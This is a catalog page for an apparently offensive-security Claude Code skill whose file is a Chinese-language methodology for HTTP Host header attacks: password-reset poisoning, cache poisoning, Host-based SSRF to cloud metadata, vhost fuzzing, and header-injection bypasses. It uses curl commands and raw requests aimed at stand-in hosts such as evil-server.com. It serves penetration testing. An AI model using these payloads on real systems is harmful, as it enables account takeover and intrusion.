
Http Host Header Attacks
- 11 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
http-host-header-attacks is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- http-host-header-attacks
- AI & Agent Building
- AI-coding skill
Http Host Header Attacks by the numbers
- 11 all-time installs (skills.sh)
- Ranked #11,740 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
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| Installs | 11 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
HTTP Host Header 攻击方法论
相关 skill:缓存投毒/请求走私 →cache-poisoning-smuggling;SSRF →ssrf-methodology;403/401 绕过 →401-403-bypass
---
1. 核心概念
HTTP Host header 告诉 Web 服务器客户端请求的是哪个网站(虚拟主机路由)。很多应用在以下场景信任 Host header 的值:
- 生成密码重置链接
- 生成绝对 URL
- 缓存键计算
- 路由到内部后端
- 访问控制决策
如果应用不验证 Host header,攻击者可以操纵它来投毒链接、缓存或路由。
---
2. 密码重置投毒
原理
POST /forgot-password HTTP/1.1
Host: evil-server.com ← 攻击者替换
Content-Type: application/x-www-form-urlencoded
email=victim@target.com应用信任 Host 值生成重置链接 → 受害者收到的邮件中链接变为:
https://evil-server.com/reset?token=abc123受害者点击链接 → token 发送到攻击者服务器。
检测
# 正常请求(记录原始链接格式)
curl -X POST https://target.com/forgot-password \
-d "email=test@target.com"
# Host 注入
curl -X POST https://target.com/forgot-password \
-H "Host: evil-server.com" \
-d "email=victim@target.com"
# 检查邮件中的链接是否包含 evil-server.com绕过变体
如果直接替换 Host 被拒绝(400/403):
# 1. X-Forwarded-Host(最常用)
Host: target.com
X-Forwarded-Host: evil-server.com
# 2. 端口注入
Host: target.com:@evil-server.com
# 3. 绝对 URI
GET https://target.com/forgot-password HTTP/1.1
Host: evil-server.com
# 4. 双 Host header
Host: target.com
Host: evil-server.com
# 5. 换行符注入
Host: target.com
X-Forwarded-Host: evil-server.com---
3. Web 缓存投毒
原理
如果缓存键不包含 Host header,但响应中的内容受 Host 影响:
GET /static/main.js HTTP/1.1
Host: evil-server.com
# 响应中:
# var redirectUrl = "https://evil-server.com/dashboard";此响应被缓存 → 后续所有用户访问该 JS 文件时都会获取被投毒的版本。
检测
# 步骤 1: 发送带修改 Host 的请求
curl -s https://target.com/index.html \
-H "Host: test-cache-poison.com" \
| grep "test-cache-poison"
# 步骤 2: 正常访问同一 URL,检查缓存是否返回投毒内容
curl -s https://target.com/index.html | grep "test-cache-poison"配合 X-Forwarded-Host
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil-server.com很多框架(Django、Laravel、Rails)优先读取 X-Forwarded-Host 生成 URL,但 CDN 缓存键只看 Host。
---
4. 通过 Host 路由的 SSRF
后端路由场景
反向代理根据 Host header 决定转发到哪个后端:
GET / HTTP/1.1
Host: internal-admin.target.com ← 内部虚拟主机
GET / HTTP/1.1
Host: 169.254.169.254 ← 云元数据Absolute URI 绕过
GET https://target.com/ HTTP/1.1
Host: 169.254.169.254某些代理使用 absolute URI 的 host 做 ACL 检查,但用 Host header 做路由。
---
5. 虚拟主机枚举
发现隐藏的内部站点
# 用 ffuf 枚举 vhost
ffuf -u https://target.com -H "Host: FUZZ.target.com" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs <default-size>
# 指定 IP 直接访问
curl -k https://10.0.0.1/ -H "Host: admin.target.com"内部面板典型名称
admin, staging, dev, test, internal, api-internal,
monitoring, grafana, jenkins, gitlab, kibana,
phpmyadmin, adminer, debug, console, management---
6. 绕过技术(7 种)
6.1 X-Forwarded-Host
Host: target.com
X-Forwarded-Host: evil.com6.2 双 Host Header
Host: target.com
Host: evil.com不同中间件取第一个或最后一个 — 代理和后端不一致时产生绕过。
6.3 绝对 URI
GET https://target.com/path HTTP/1.1
Host: evil.com6.4 Host 端口注入
Host: target.com:evil.com
Host: target.com:@evil.com
Host: target.com:80@evil.com6.5 其他 Override Header
X-Host: evil.com
X-Forwarded-Server: evil.com
X-HTTP-Host-Override: evil.com
Forwarded: host=evil.com6.6 换行符 / CRLF 注入
Host: target.com%0d%0aX-Forwarded-Host: evil.com6.7 Tab / 空格
Host: target.com evil.com
Host: target.com evil.com---
7. 框架特定行为
| 框架 | Host 处理 | 密码重置风险 |
|---|---|---|
| Django | 检查 ALLOWED_HOSTS,但 X-Forwarded-Host 不在检查范围 | 高 — X-Forwarded-Host 直接用于 build_absolute_uri() |
| Rails | X-Forwarded-Host 优先于 Host | 高 — 直接影响 url_for |
| Laravel | 信任 X-Forwarded-* 如果设置了 trusted proxies | 中 — 取决于配置 |
| Spring | ForwardedHeaderFilter 处理 Forwarded header | 中 — 取决于是否启用 |
| Express/Node | req.hostname 读取 X-Forwarded-Host(在 trust proxy 下) | 中 |
| ASP.NET | X-Forwarded-Host 不自动使用 | 低(除非显式配置) |
---
8. Connection State 攻击
HTTP/1.1 Keep-Alive 场景下,部分反向代理只在第一个请求验证 Host,后续请求复用连接:
请求 1: Host: target.com → 代理验证通过,建立连接
请求 2: Host: internal.com → 代理不再验证,直接转发 → 访问内部站点---
9. 决策树
目标有 Host header 注入点?
├── 密码重置功能?
│ ├── 直接替换 Host → 检查邮件链接
│ ├── 403/400?→ X-Forwarded-Host / 双 Host / 端口注入
│ └── 邮件含恶意域名?→ 密码重置投毒成功
├── 有缓存(CDN/Varnish/Nginx)?
│ ├── Host/X-Forwarded-Host 影响响应内容?
│ ├── 响应是否被缓存(X-Cache: HIT)?
│ └── 两者都是?→ Web 缓存投毒
├── 反向代理后多个后端?
│ ├── 枚举 vhost(ffuf + Host fuzz)
│ ├── Host: 169.254.169.254 → 云元数据 SSRF
│ └── Host: internal-admin → 内部面板访问
├── Connection State
│ └── Keep-Alive 复用 → 第二请求切换 Host
└── 全部失败 → 其他思路
├── 请求走私 → cache-poisoning-smuggling
├── SSRF 直接打 → ssrf-methodology
└── 子域名接管 → subdomain-takeover